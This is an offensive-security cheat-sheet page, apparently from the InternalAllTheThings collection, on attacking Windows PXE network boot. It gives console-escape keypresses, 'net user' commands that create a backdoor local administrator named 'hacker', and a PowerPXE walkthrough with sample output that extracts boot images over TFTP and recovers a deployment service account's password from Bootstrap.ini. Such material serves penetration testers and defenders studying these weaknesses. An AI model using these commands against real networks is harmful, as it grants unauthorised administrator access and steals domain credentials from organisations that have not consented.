InternalAllTheThings/docs/active-directory/internal-pxe-boot-image.md

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Internal - PXE Boot Image

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

  • Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.

  • Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    net user hacker Password123! /add
    net localgroup administrators /add hacker
    
  • Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

    # Import the module
    PS > Import-Module .\PowerPXE.ps1
    
    # Start the exploit on the Ethernet interface
    PS > Get-PXEcreds -InterfaceAlias Ethernet
    PS > Get-PXECreds -InterfaceAlias « lab 0 » 
    
    # Wait for the DHCP to get an address
    >> Get a valid IP address
    >>> >>> DHCP proposal IP address: 192.168.22.101
    >>> >>> DHCP Validation: DHCPACK
    >>> >>> IP address configured: 192.168.22.101
    
    # Extract BCD path from the DHCP response
    >> Request BCD File path
    >>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
    >>> >>> TFTP IP Address:  192.168.22.3
    
    # Download the BCD file and extract wim files
    >> Launch TFTP download
    >>>> Transfer succeeded.
    >> Parse the BCD file: conf.bcd
    >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
    >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
    >> Launch TFTP download
    >>>> Transfer succeeded.
    
    # Parse wim files to find interesting data
    >> Open LiteTouchPE_x86.wim
    >>>> Finding Bootstrap.ini
    >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
    >>>> >>>> UserID = MdtService
    >>>> >>>> UserPassword = Somepass1